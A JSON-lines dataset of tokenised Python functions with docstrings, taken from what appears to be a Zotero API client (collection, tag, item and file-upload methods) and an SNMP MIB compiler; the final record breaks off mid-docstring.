{"signature": "def update_collections(self, payload):", "body": "to_send = [self.check_items([p])[<NUM_LIT:0>] for p in payload]<EOL>headers = {}<EOL>headers.update(self.default_headers())<EOL>for chunk in chunks(to_send, <NUM_LIT:50>):<EOL><INDENT>req = requests.post(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id<EOL>),<EOL>headers=headers,<EOL>data=json.dumps(chunk),<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL><DEDENT>", "docstring": "Update existing collections\nAccepts one argument, a list of dicts containing Collection data", "id": "f5629:c0:m78"}
{"signature": "def addto_collection(self, collection, payload):", "body": "ident = payload[\"<STR_LIT:key>\"]<EOL>modified = payload[\"<STR_LIT:version>\"]<EOL>modified_collections = payload[\"<STR_LIT:data>\"][\"<STR_LIT>\"] + [collection]<EOL>headers = {\"<STR_LIT>\": str(modified)}<EOL>headers.update(self.default_headers())<EOL>req = requests.patch(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id, i=ident<EOL>),<EOL>data=json.dumps({\"<STR_LIT>\": modified_collections}),<EOL>headers=headers,<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL>", "docstring": "Add one or more items to a collection\nAccepts two arguments:\nThe collection ID, and an item dict", "id": "f5629:c0:m79"}
{"signature": "def deletefrom_collection(self, collection, payload):", "body": "ident = payload[\"<STR_LIT:key>\"]<EOL>modified = payload[\"<STR_LIT:version>\"]<EOL>modified_collections = [<EOL>c for c in payload[\"<STR_LIT:data>\"][\"<STR_LIT>\"] if c != collection<EOL>]<EOL>headers = {\"<STR_LIT>\": str(modified)}<EOL>headers.update(self.default_headers())<EOL>req = requests.patch(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id, i=ident<EOL>),<EOL>data=json.dumps({\"<STR_LIT>\": modified_collections}),<EOL>headers=headers,<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL>", "docstring": "Delete an item from a collection\nAccepts two arguments:\nThe collection ID, and and an item dict", "id": "f5629:c0:m80"}
{"signature": "def delete_tags(self, *payload):", "body": "if len(payload) > <NUM_LIT:50>:<EOL><INDENT>raise ze.TooManyItems(\"<STR_LIT>\")<EOL><DEDENT>modified_tags = \"<STR_LIT>\".join([tag for tag in payload])<EOL>self.tags(limit=<NUM_LIT:1>)<EOL>headers = {<EOL>\"<STR_LIT>\": self.request.headers[\"<STR_LIT>\"]<EOL>}<EOL>headers.update(self.default_headers())<EOL>req = requests.delete(<EOL>url=self.endpoint<EOL>+ \"<STR_LIT>\".format(t=self.library_type, u=self.library_id),<EOL>params={\"<STR_LIT>\": modified_tags},<EOL>headers=headers,<EOL>)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL>", "docstring": "Delete a group of tags\npass in up to 50 tags, or use *[tags]", "id": "f5629:c0:m81"}
{"signature": "def delete_item(self, payload, last_modified=None):", "body": "params = None<EOL>if isinstance(payload, list):<EOL><INDENT>params = {\"<STR_LIT>\": \"<STR_LIT:U+002C>\".join([p[\"<STR_LIT:key>\"] for p in payload])}<EOL>if last_modified is not None:<EOL><INDENT>modified = last_modified<EOL><DEDENT>else:<EOL><INDENT>modified = payload[<NUM_LIT:0>][\"<STR_LIT:version>\"]<EOL><DEDENT>url = self.endpoint + \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id<EOL>)<EOL><DEDENT>else:<EOL><INDENT>ident = payload[\"<STR_LIT:key>\"]<EOL>if last_modified is not None:<EOL><INDENT>modified = last_modified<EOL><DEDENT>else:<EOL><INDENT>modified = payload[\"<STR_LIT:version>\"]<EOL><DEDENT>url = self.endpoint + \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id, c=ident<EOL>)<EOL><DEDENT>headers = {\"<STR_LIT>\": str(modified)}<EOL>headers.update(self.default_headers())<EOL>req = requests.delete(url=url, params=params, headers=headers)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL>", "docstring": "Delete Items from a Zotero library\nAccepts a single argument:\n    a dict containing item data\n    OR a list of dicts containing item data", "id": "f5629:c0:m82"}
{"signature": "def delete_collection(self, payload, last_modified=None):", "body": "params = None<EOL>if isinstance(payload, list):<EOL><INDENT>params = {\"<STR_LIT>\": \"<STR_LIT:U+002C>\".join([p[\"<STR_LIT:key>\"] for p in payload])}<EOL>if last_modified is not None:<EOL><INDENT>modified = last_modified<EOL><DEDENT>else:<EOL><INDENT>modified = payload[<NUM_LIT:0>][\"<STR_LIT:version>\"]<EOL><DEDENT>url = self.endpoint + \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id<EOL>)<EOL><DEDENT>else:<EOL><INDENT>ident = payload[\"<STR_LIT:key>\"]<EOL>if last_modified is not None:<EOL><INDENT>modified = last_modified<EOL><DEDENT>else:<EOL><INDENT>modified = payload[\"<STR_LIT:version>\"]<EOL><DEDENT>url = self.endpoint + \"<STR_LIT>\".format(<EOL>t=self.library_type, u=self.library_id, c=ident<EOL>)<EOL><DEDENT>headers = {\"<STR_LIT>\": str(modified)}<EOL>headers.update(self.default_headers())<EOL>req = requests.delete(url=url, params=params, headers=headers)<EOL>self.request = req<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>return True<EOL>", "docstring": "Delete a Collection from a Zotero library\nAccepts a single argument:\n    a dict containing item data\n    OR a list of dicts containing item data", "id": "f5629:c0:m83"}
{"signature": "@property<EOL><INDENT>def delay(self):<DEDENT>", "body": "self.wait = self.wait * <NUM_LIT:2><EOL>return self.wait<EOL>", "docstring": "return increasing delays", "id": "f5629:c1:m1"}
{"signature": "def reset(self):", "body": "self.wait = <NUM_LIT:1><EOL>", "docstring": "reset delay", "id": "f5629:c1:m2"}
{"signature": "def _validate(self, conditions):", "body": "allowed_keys = set(self.searchkeys)<EOL>operators_set = set(self.operators.keys())<EOL>for condition in conditions:<EOL><INDENT>if set(condition.keys()) != allowed_keys:<EOL><INDENT>raise ze.ParamNotPassed(<EOL>\"<STR_LIT>\" % \"<STR_LIT:U+002CU+0020>\".join(self.searchkeys)<EOL>)<EOL><DEDENT>if condition.get(\"<STR_LIT>\") not in operators_set:<EOL><INDENT>raise ze.ParamNotPassed(<EOL>\"<STR_LIT>\"<EOL>% condition.get(\"<STR_LIT>\")<EOL>)<EOL><DEDENT>permitted_operators = self.conditions_operators.get(<EOL>condition.get(\"<STR_LIT>\")<EOL>)<EOL>permitted_operators_list = set(<EOL>[self.operators.get(op) for op in permitted_operators]<EOL>)<EOL>if condition.get(\"<STR_LIT>\") not in permitted_operators_list:<EOL><INDENT>raise ze.ParamNotPassed(<EOL>\"<STR_LIT>\"<EOL>% (<EOL>condition.get(\"<STR_LIT>\"),<EOL>condition.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT:U+002CU+0020>\".join(list(permitted_operators_list)),<EOL>)<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Validate saved search conditions, raising an error if any contain invalid operators", "id": "f5629:c2:m1"}
{"signature": "def _verify(self, payload):", "body": "if not payload:  <EOL><INDENT>raise ze.ParamNotPassed<EOL><DEDENT>for templt in payload:<EOL><INDENT>if os.path.isfile(str(self.basedir.joinpath(templt[\"<STR_LIT:filename>\"]))):<EOL><INDENT>try:<EOL><INDENT>with open(str(self.basedir.joinpath(templt[\"<STR_LIT:filename>\"]))):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>except IOError:<EOL><INDENT>raise ze.FileDoesNotExist(<EOL>\"<STR_LIT>\"<EOL>% str(self.basedir.joinpath(templt[\"<STR_LIT:filename>\"]))<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ze.FileDoesNotExist(<EOL>\"<STR_LIT>\"<EOL>% str(self.basedir.joinpath(templt[\"<STR_LIT:filename>\"]))<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "ensure that all files to be attached exist\nopen()'s better than exists(), cos it avoids a race condition", "id": "f5629:c3:m1"}
{"signature": "def _create_prelim(self):", "body": "self._verify(self.payload)<EOL>if \"<STR_LIT:key>\" in self.payload[<NUM_LIT:0>] and self.payload[<NUM_LIT:0>][\"<STR_LIT:key>\"]:<EOL><INDENT>if next((i for i in self.payload if \"<STR_LIT:key>\" not in i), False):<EOL><INDENT>raise ze.UnsupportedParams(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>return None  <EOL><DEDENT>liblevel = \"<STR_LIT>\"<EOL>headers = {\"<STR_LIT>\": token(), \"<STR_LIT:Content-Type>\": \"<STR_LIT:application/json>\"}<EOL>headers.update(self.zinstance.default_headers())<EOL>if self.parentid:<EOL><INDENT>for child in self.payload:<EOL><INDENT>child[\"<STR_LIT>\"] = self.parentid<EOL><DEDENT><DEDENT>to_send = json.dumps(self.payload)<EOL>req = requests.post(<EOL>url=self.zinstance.endpoint<EOL>+ liblevel.format(<EOL>t=self.zinstance.library_type, u=self.zinstance.library_id<EOL>),<EOL>data=to_send,<EOL>headers=headers,<EOL>)<EOL>try:<EOL><INDENT>req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(req)<EOL><DEDENT>data = req.json()<EOL>for k in data[\"<STR_LIT:success>\"]:<EOL><INDENT>self.payload[int(k)][\"<STR_LIT:key>\"] = data[\"<STR_LIT:success>\"][k]<EOL><DEDENT>return data<EOL>", "docstring": "Step 0: Register intent to upload files", "id": "f5629:c3:m2"}
{"signature": "def _get_auth(self, attachment, reg_key, md5=None):", "body": "mtypes = mimetypes.guess_type(attachment)<EOL>digest = hashlib.md5()<EOL>with open(attachment, \"<STR_LIT:rb>\") as att:<EOL><INDENT>for chunk in iter(lambda: att.read(<NUM_LIT>), b\"<STR_LIT>\"):<EOL><INDENT>digest.update(chunk)<EOL><DEDENT><DEDENT>auth_headers = {\"<STR_LIT:Content-Type>\": \"<STR_LIT>\"}<EOL>if not md5:<EOL><INDENT>auth_headers[\"<STR_LIT>\"] = \"<STR_LIT:*>\"<EOL><DEDENT>else:<EOL><INDENT>auth_headers[\"<STR_LIT>\"] = md5<EOL><DEDENT>auth_headers.update(self.zinstance.default_headers())<EOL>data = {<EOL>\"<STR_LIT>\": digest.hexdigest(),<EOL>\"<STR_LIT:filename>\": os.path.basename(attachment),<EOL>\"<STR_LIT>\": os.path.getsize(attachment),<EOL>\"<STR_LIT>\": str(int(os.path.getmtime(attachment) * <NUM_LIT:1000>)),<EOL>\"<STR_LIT>\": mtypes[<NUM_LIT:0>] or \"<STR_LIT>\",<EOL>\"<STR_LIT>\": mtypes[<NUM_LIT:1>],<EOL>\"<STR_LIT>\": <NUM_LIT:1>,<EOL>}<EOL>auth_req = requests.post(<EOL>url=self.zinstance.endpoint<EOL>+ \"<STR_LIT>\".format(<EOL>t=self.zinstance.library_type, u=self.zinstance.library_id, i=reg_key<EOL>),<EOL>data=data,<EOL>headers=auth_headers,<EOL>)<EOL>try:<EOL><INDENT>auth_req.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(auth_req)<EOL><DEDENT>return auth_req.json()<EOL>", "docstring": "Step 1: get upload authorisation for a file", "id": "f5629:c3:m3"}
{"signature": "def _upload_file(self, authdata, attachment, reg_key):", "body": "upload_dict = authdata[<EOL>\"<STR_LIT>\"<EOL>]  <EOL>upload_list = [(\"<STR_LIT:key>\", upload_dict[\"<STR_LIT:key>\"])]<EOL>for k in upload_dict:<EOL><INDENT>if k != \"<STR_LIT:key>\":<EOL><INDENT>upload_list.append((k, upload_dict[k]))<EOL><DEDENT><DEDENT>upload_list.append((\"<STR_LIT:file>\", open(attachment, \"<STR_LIT:rb>\").read()))<EOL>upload_pairs = tuple(upload_list)<EOL>try:<EOL><INDENT>upload = requests.post(<EOL>url=authdata[\"<STR_LIT:url>\"],<EOL>files=upload_pairs,<EOL>headers={<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>% __version__<EOL>},<EOL>)<EOL><DEDENT>except (requests.exceptions.ConnectionError):<EOL><INDENT>raise ze.UploadError(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>upload.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(upload)<EOL><DEDENT>return self._register_upload(authdata, reg_key)<EOL>", "docstring": "Step 2: auth successful, and file not on server\nzotero.org/support/dev/server_api/file_upload#a_full_upload\n\nreg_key isn't used, but we need to pass it through to Step 3", "id": "f5629:c3:m4"}
{"signature": "def _register_upload(self, authdata, reg_key):", "body": "reg_headers = {<EOL>\"<STR_LIT:Content-Type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT:*>\",<EOL>}<EOL>reg_headers.update(self.zinstance.default_headers())<EOL>reg_data = {\"<STR_LIT>\": authdata.get(\"<STR_LIT>\")}<EOL>upload_reg = requests.post(<EOL>url=self.zinstance.endpoint<EOL>+ \"<STR_LIT>\".format(<EOL>t=self.zinstance.library_type, u=self.zinstance.library_id, i=reg_key<EOL>),<EOL>data=reg_data,<EOL>headers=dict(reg_headers),<EOL>)<EOL>try:<EOL><INDENT>upload_reg.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>error_handler(upload_reg)<EOL><DEDENT>", "docstring": "Step 3: upload successful, so register it", "id": "f5629:c3:m5"}
{"signature": "def upload(self):", "body": "result = {\"<STR_LIT:success>\": [], \"<STR_LIT>\": [], \"<STR_LIT>\": []}<EOL>self._create_prelim()<EOL>for item in self.payload:<EOL><INDENT>if \"<STR_LIT:key>\" not in item:<EOL><INDENT>result[\"<STR_LIT>\"].append(item)<EOL>continue<EOL><DEDENT>attach = str(self.basedir.joinpath(item[\"<STR_LIT:filename>\"]))<EOL>authdata = self._get_auth(attach, item[\"<STR_LIT:key>\"], md5=item.get(\"<STR_LIT>\", None))<EOL>if authdata.get(\"<STR_LIT>\"):<EOL><INDENT>result[\"<STR_LIT>\"].append(item)<EOL>continue<EOL><DEDENT>self._upload_file(authdata, attach, item[\"<STR_LIT:key>\"])<EOL>result[\"<STR_LIT:success>\"].append(item)<EOL><DEDENT>return result<EOL>", "docstring": "File upload functionality\n\nGoes through upload steps 0 - 3 (private class methods), and returns\na dict noting success, failure, or unchanged\n(returning the payload entries with that property as a list for each status)", "id": "f5629:c3:m6"}
{"signature": "def __init__(self, reader, genTexts=False):", "body": "if genTexts is not None:<EOL><INDENT>self.genTexts = genTexts<EOL><DEDENT>self._reader = reader<EOL>", "docstring": "Creates an instance of *Borrower* class.\n\n           Args:\n               reader: a *reader* object\n\n           Keyword Args:\n               genText: indicates whether this borrower should be looking\n                        for transformed MIBs that include human-oriented texts", "id": "f5631:c0:m0"}
{"signature": "def __init__(self, parser, codegen, writer):", "body": "self._parser = parser<EOL>self._codegen = codegen<EOL>self._symbolgen = SymtableCodeGen()<EOL>self._writer = writer<EOL>self._sources = []<EOL>self._searchers = []<EOL>self._borrowers = []<EOL>", "docstring": "Creates an instance of *MibCompiler* class.\n\n           Args:\n               parser: ASN.1 MIB parser object\n               codegen: MIB transformation object\n               writer: transformed MIB storing object", "id": "f5634:c1:m0"}
{"signature": "def addSources(self, *sources):", "body": "self._sources.extend(sources)<EOL>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join([str(x) for x in self._sources]))<EOL>return self<EOL>", "docstring": "Add more ASN.1 MIB source repositories.\n\n        MibCompiler.compile will invoke each of configured source objects\n        in order of their addition asking each to fetch MIB module specified\n        by name.\n\n        Args:\n            sources: reader object(s)\n\n        Returns:\n            reference to itself (can be used for call chaining)", "id": "f5634:c1:m1"}
{"signature": "def addSearchers(self, *searchers):", "body": "self._searchers.extend(searchers)<EOL>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join([str(x) for x in self._searchers]))<EOL>return self<EOL>", "docstring": "Add more transformed MIBs repositories.\n\n        MibCompiler.compile will invoke each of configured searcher objects\n        in order of their addition asking each if already transformed MIB\n        module already exists and is more recent than specified.\n\n        Args:\n            searchers: searcher object(s)\n\n        Returns:\n            reference to itself (can be used for call chaining)", "id": "f5634:c1:m2"}
{"signature": "def addBorrowers(self, *borrowers):", "body": "self._borrowers.extend(borrowers)<EOL>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join([str(x) for x in self._borrowers]))<EOL>return self<EOL>", "docstring": "Add more transformed MIBs repositories to borrow MIBs from.\n\n        Whenever MibCompiler.compile encounters MIB module which neither of\n        the *searchers* can find or fetched ASN.1 MIB module can not be\n        parsed (due to syntax errors), these *borrowers* objects will be\n        invoked in order of their addition asking each if already transformed\n        MIB can be fetched (borrowed).\n\n        Args:\n            borrowers: borrower object(s)\n\n        Returns:\n            reference to itself (can be used for call chaining)", "id": "f5634:c1:m3"}
{"signature": "def compile(self, *mibnames, **options):", "body": "processed = {}<EOL>parsedMibs = {}<EOL>failedMibs = {}<EOL>borrowedMibs = {}<EOL>builtMibs = {}<EOL>symbolTableMap = {}<EOL>mibsToParse = [x for x in mibnames]<EOL>canonicalMibNames = {}<EOL>while mibsToParse:<EOL><INDENT>mibname = mibsToParse.pop(<NUM_LIT:0>)<EOL>if mibname in parsedMibs:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % mibname)<EOL>continue<EOL><DEDENT>if mibname in failedMibs:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % mibname)<EOL>continue<EOL><DEDENT>for source in self._sources:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % source)<EOL>try:<EOL><INDENT>fileInfo, fileData = source.getData(mibname)<EOL>for mibTree in self._parser.parse(fileData):<EOL><INDENT>mibInfo, symbolTable = self._symbolgen.genCode(<EOL>mibTree, symbolTableMap<EOL>)<EOL>symbolTableMap[mibInfo.name] = symbolTable<EOL>parsedMibs[mibInfo.name] = fileInfo, mibInfo, mibTree<EOL>if mibname in failedMibs:<EOL><INDENT>del failedMibs[mibname]<EOL><DEDENT>mibsToParse.extend(mibInfo.imported)<EOL>if fileInfo.name in mibnames:<EOL><INDENT>if mibInfo.name not in canonicalMibNames:<EOL><INDENT>canonicalMibNames[mibInfo.name] = []<EOL><DEDENT>canonicalMibNames[mibInfo.name].append(fileInfo.name)<EOL><DEDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (<EOL>mibInfo.name, mibname, fileInfo.path, '<STR_LIT:U+002CU+0020>'.join(mibInfo.imported) or '<STR_LIT>'))<EOL><DEDENT>break<EOL><DEDENT>except error.PySmiReaderFileNotFoundError:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (mibname, source))<EOL>continue<EOL><DEDENT>except error.PySmiError:<EOL><INDENT>exc_class, exc, tb = sys.exc_info()<EOL>exc.source = source<EOL>exc.mibname = mibname<EOL>exc.msg += '<STR_LIT>' % mibname<EOL>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (<EOL>options.get('<STR_LIT>') and '<STR_LIT>' or '<STR_LIT>', exc, source))<EOL>failedMibs[mibname] = exc<EOL>processed[mibname] = statusFailed.setOptions(error=exc)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>exc = error.PySmiError('<STR_LIT>' % mibname)<EOL>exc.mibname = mibname<EOL>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % mibname)<EOL>if mibname not in failedMibs:<EOL><INDENT>failedMibs[mibname] = exc<EOL><DEDENT>if mibname not in processed:<EOL><INDENT>processed[mibname] = statusMissing<EOL><DEDENT><DEDENT><DEDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (len(parsedMibs), len(failedMibs)))<EOL>for mibname in tuple(parsedMibs):<EOL><INDENT>fileInfo, mibInfo, mibTree = parsedMibs[mibname]<EOL>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % mibname)<EOL>for searcher in self._searchers:<EOL><INDENT>try:<EOL><INDENT>searcher.fileExists(mibname, fileInfo.mtime, rebuild=options.get('<STR_LIT>'))<EOL><DEDENT>except error.PySmiFileNotFoundError:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (mibname, searcher))<EOL>continue<EOL><DEDENT>except error.PySmiFileNotModifiedError:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (mibname, searcher))<EOL>del parsedMibs[mibname]<EOL>processed[mibname] = statusUntouched<EOL>break<EOL><DEDENT>except error.PySmiError:<EOL><INDENT>exc_class, exc, tb = sys.exc_info()<EOL>exc.searcher = searcher<EOL>exc.mibname = mibname<EOL>exc.msg += '<STR_LIT>' % mibname<EOL>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (searcher, exc))<EOL>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % mibname)<EOL>if options.get('<STR_LIT>') and mibname not in canonicalMibNames:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % mibname)<EOL>del parsedMibs[mibname]<EOL>processed[mibname] = statusUntouched<EOL>continue<EOL><DEDENT><DEDENT><DEDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (len(parsedMibs), len(failedMibs)))<EOL>for mibname in parsedMibs.copy():<EOL><INDENT>fileInfo, mibInfo, mibTree = parsedMibs[mibname]<EOL>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (mibname, fileInfo.path))<EOL>platform_info, user_info = self._get_system_info()<EOL>comments = [<EOL>'<STR_LIT>' % fileInfo.path,<EOL>'<STR_LIT>' % (packageName, packageVersion, time.asctime()),<EOL>'<STR_LIT>' % (platform_info[<NUM_LIT:1>], platform_info[<NUM_LIT:0>],<EOL>platform_info[<NUM_LIT:2>], user_info[<NUM_LIT:0>]),<EOL>'<STR_LIT>' % sys.version.split('<STR_LIT:\\n>')[<NUM_LIT:0>]<EOL>]<EOL>try:<EOL><INDENT>mibInfo, mibData = self._codegen.genCode(<EOL>mibTree,<EOL>symbolTableMap,<EOL>comments=comments,<EOL>dstTemplate=options.get('<STR_LIT>'),<EOL>genTexts=options.get('<STR_LIT>'),<EOL>textFilter=options.get('<STR_LIT>')<EOL>)<EOL>builtMibs[mibname] = fileInfo, mibInfo, mibData<EOL>del parsedMibs[mibname]<EOL>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (mibname, fileInfo.path, self._writer))<EOL><DEDENT>except error.PySmiError:<EOL><INDENT>exc_class, exc, tb = sys.exc_info()<EOL>exc.handler = self._codegen<EOL>exc.mibname = mibname<EOL>exc.msg += '<STR_LIT>' % mibname<EOL>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (self._codegen, exc))<EOL>processed[mibname] = statusFailed.setOptions(error=exc)<EOL>failedMibs[mibname] = exc<EOL>del parsedMibs[mibname]<EOL><DEDENT><DEDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (len(parsedMibs), len(failedMibs)))<EOL>for mibname in failedMibs.copy():<EOL><INDENT>if options.get('<STR_LIT>') and mibname not in canonicalMibNames:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % mibname)<EOL>continue<EOL><DEDENT>for borrower in self._borrowers:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (mibname, borrower))<EOL>try:<EOL><INDENT>fileInfo, fileData = borrower.getData(<EOL>mibname,<EOL>genTexts=options.get('<STR_LIT>')<EOL>)<EOL>borrowedMibs[mibname] = fileInfo, MibInfo(name=mibname, imported=[]), fileData<EOL>del failedMibs[mibname]<EOL>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (mibname, borrower))<EOL>break<EOL><DEDENT>except error.PySmiError:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (borrower, sys.exc_info()[<NUM_LIT:1>]))<EOL><DEDENT><DEDENT><DEDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (len(borrowedMibs), len(failedMibs)))<EOL>for mibname in borrowedMibs.copy():<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % mibname)<EOL>fileInfo, mibInfo, mibData = borrowedMibs[mibname]<EOL>for searcher in self._searchers:<EOL><INDENT>try:<EOL><INDENT>searcher.fileExists(mibname, fileInfo.mtime, rebuild=options.get('<STR_LIT>'))<EOL><DEDENT>except error.PySmiFileNotFoundError:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (mibname, searcher))<EOL>continue<EOL><DEDENT>except error.PySmiFileNotModifiedError:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (mibname, searcher))<EOL>del borrowedMibs[mibname]<EOL>processed[mibname] = statusUntouched<EOL>break<EOL><DEDENT>except error.PySmiError:<EOL><INDENT>exc_class, exc, tb = sys.exc_info()<EOL>exc.searcher = searcher<EOL>exc.mibname = mibname<EOL>exc.msg += '<STR_LIT>' % mibname<EOL>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (searcher, exc))<EOL>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % mibname)<EOL>if options.get('<STR_LIT>') and mibname not in canonicalMibNames:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % mibname)<EOL>processed[mibname] = statusUntouched<EOL><DEDENT>else:<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % mibname)<EOL>builtMibs[mibname] = borrowedMibs[mibname]<EOL>processed[mibname] = statusBorrowed.setOptions(<EOL>path=fileInfo.path, file=fileInfo.file,<EOL>alias=fileInfo.name<EOL>)<EOL><DEDENT>del borrowedMibs[mibname]<EOL><DEDENT><DEDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % (len(builtMibs), len(failedMibs)))<EOL>if failedMibs and not options.get('<STR_LIT>'):<EOL><INDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(failedMibs))<EOL>for mibname in builtMibs:<EOL><INDENT>processed[mibname] = statusUnprocessed<EOL><DEDENT>return processed<EOL><DEDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % ('<STR_LIT:U+002CU+0020>'.join(builtMibs), '<STR_LIT:U+002CU+0020>'.join(failedMibs)))<EOL>for mibname in builtMibs.copy():<EOL><INDENT>fileInfo, mibInfo, mibData = builtMibs[mibname]<EOL>try:<EOL><INDENT>if options.get('<STR_LIT>', True):<EOL><INDENT>self._writer.putData(<EOL>mibname, mibData, dryRun=options.get('<STR_LIT>')<EOL>)<EOL><DEDENT>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (mibname, self._writer))<EOL>del builtMibs[mibname]<EOL>if mibname not in processed:<EOL><INDENT>processed[mibname] = statusCompiled.setOptions(<EOL>path=fileInfo.path,<EOL>file=fileInfo.file,<EOL>alias=fileInfo.name,<EOL>oid=mibInfo.oid,<EOL>oids=mibInfo.oids,<EOL>identity=mibInfo.identity,<EOL>revision=mibInfo.revision,<EOL>enterprise=mibInfo.enterprise,<EOL>compliance=mibInfo.compliance,<EOL>)<EOL><DEDENT><DEDENT>except error.PySmiError:<EOL><INDENT>exc_class, exc, tb = sys.exc_info()<EOL>exc.handler = self._codegen<EOL>exc.mibname = mibname<EOL>exc.msg += '<STR_LIT>' % mibname<EOL>debug.logger & debug.flagCompiler and debug.logger('<STR_LIT>' % (exc, self._writer))<EOL>processed[mibname] = statusFailed.setOptions(error=exc)<EOL>failedMibs[mibname] = exc<EOL>del builtMibs[mibname]<EOL><DEDENT><DEDENT>debug.logger & debug.flagCompiler and debug.logger(<EOL>'<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join([x for x in processed if processed[x] in ('<STR_LIT>', '<STR_LIT>')]))<EOL>return processed<EOL>", "docstring": "Transform requested and possibly referred MIBs.\n\n        The *compile* method should be invoked when *MibCompiler* object\n        is operational meaning at least *sources* are specified.\n\n        Once called with a MIB module name, *compile* will:\n\n        * fetch ASN.1 MIB module with given name by calling *sources*\n        * make sure no such transformed MIB already exists (with *searchers*)\n        * parse ASN.1 MIB text with *parser*\n        * perform actual MIB transformation into target format with *code generator*\n        * may attempt to borrow pre-transformed MIB through *borrowers*\n        * write transformed MIB through *writer*\n\n        The above sequence will be performed for each MIB name given in\n        *mibnames* and may be performed for all MIBs referred to from\n        MIBs being processed.\n\n        Args:\n            mibnames: list of ASN.1 